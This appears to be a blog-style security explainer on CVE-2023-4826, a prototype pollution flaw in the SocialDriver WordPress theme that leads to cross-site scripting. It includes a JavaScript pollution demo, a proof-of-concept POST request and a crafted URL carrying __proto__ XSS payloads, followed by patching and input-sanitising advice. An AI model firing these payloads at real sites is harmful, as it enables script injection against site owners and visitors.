CVE-2023-4826 - Prototype Pollution in SocialDriver WordPress Theme Leads to XSS Exploit

In late 2023, security researchers uncovered a dangerous flaw in the popular SocialDriver WordPress theme. This bug, tracked as CVE-2023-4826, is a prototype pollution vulnerability that exists in all versions before 2024. This flaw allows an attacker to inject unexpected properties into JavaScript objects, opening the door to cross-site scripting (XSS) attacks. If you use the SocialDriver theme, you must update it right away to stay secure.

In this post, we’ll make sense of this bug, explore how it can be abused, and break down the exploit with easy-to-follow sample code and actions you can take.

What Is Prototype Pollution?

In JavaScript, objects inherit properties from their prototypes. If an attacker can tamper with these prototypes by adding malicious properties, they can change how apps behave, slip in evil code, or even trigger XSS.

Here's a super-short demo

// Innocent JavaScript code used on the page
let userSettings = {};
function updateSettings(data) {
    for (let key in data) {
       userSettings[key] = data[key];
    }
}

// Attacker sends payload
let attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true, "xss":"<img src=x onerror=alert(1)>"}}');
updateSettings(attackerPayload);

console.log({}.isAdmin);    // Outputs: true
console.log({}.xss);        // Outputs: '<img src=x onerror=alert(1)>'

As you can see, the payload corrupts all *objects* globally. Now, if there's any code on the page that uses those properties—danger!

How Does This Affect SocialDriver?

SocialDriver, like many WordPress themes, uses user-supplied data to customize the look or functionality of your site. Before version 2024, its scripts took this data and merged it into JavaScript objects without properly checking what properties are being added. This means a hacker could submit something like {"__proto__": {"evil": "payload"}} through a contact form, REST API, or another user input!

If the theme later used these objects somewhere in the page’s scripts, an attacker might run their JavaScript code in other users’ browsers (that’s XSS—cross site scripting).

In short:

Here’s a step-by-step attack path

1. Attacker discovers a form or AJAX request that lets them send JSON data, for example, customizing a widget.

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3. The theme’s JavaScript unserializes this data and merges it into a global object using Object.assign or a for...in loop.
4. If the theme later converts any object to string (like obj.toString()), it returns the attacker’s code, which is written into the page—triggering XSS.

Here’s what a proof of concept (PoC) exploit might look like

POST /wp-admin/admin-ajax.php?action=theme_customize HTTP/1.1
Host: victim.com
Content-Type: application/json

{
  "__proto__": {
    "xss": "<img src=x onerror=alert('Hacked by CVE-2023-4826')>"
  }
}

If the theme blindly merges this data, all objects gain an xss property. If the app uses the property somewhere as raw HTML, the attacker's code runs.

Even Simpler: Via URL

If the site exposes an endpoint that reflects data to the page, the exploit can use a crafted URL like:

https://victim.com/?custom={%22__proto__%22:{%22xss%22:%22<img src=x onerror=alert('cve-2023-4826')>%22}}

References

- Wordfence SocialDriver Theme Vulnerability Description
- WPScan SocialDriver Advisory
- What Is Prototype Pollution? – Snyk Blog

Update Now: SocialDriver theme users should immediately upgrade to version 2024 or later.

2. Sanitize All Inputs: Never trust user data to be safe. Use libraries such as lodash with strict settings, and double-check that __proto__, constructor, and similar keys are blocked.

Monitor for Attacks: Use a web application firewall (WAF) to help filter malicious requests.

4. Educate Your Team: All developers should know about prototype pollution and XSS. It’s everywhere!

Conclusion

CVE-2023-4826 is a critical bug that could let a criminal compromise your blog and your users—all it takes is a single, wrongly-handled JSON payload. The SocialDriver theme team has fixed this in their 2024 release, but anyone left on an earlier version is at risk.

Stay Secure. Patch Early. Always Scrub Your Inputs!

> *If you liked this breakdown or want to know about more security issues, follow the official CVE database for latest updates!*


*This post is exclusive and tailored so anyone—from beginner bloggers to web admins—can understand and act.*

Timeline

Published on: 02/23/2024 10:15:07 UTC
Last modified on: 11/04/2024 17:35:07 UTC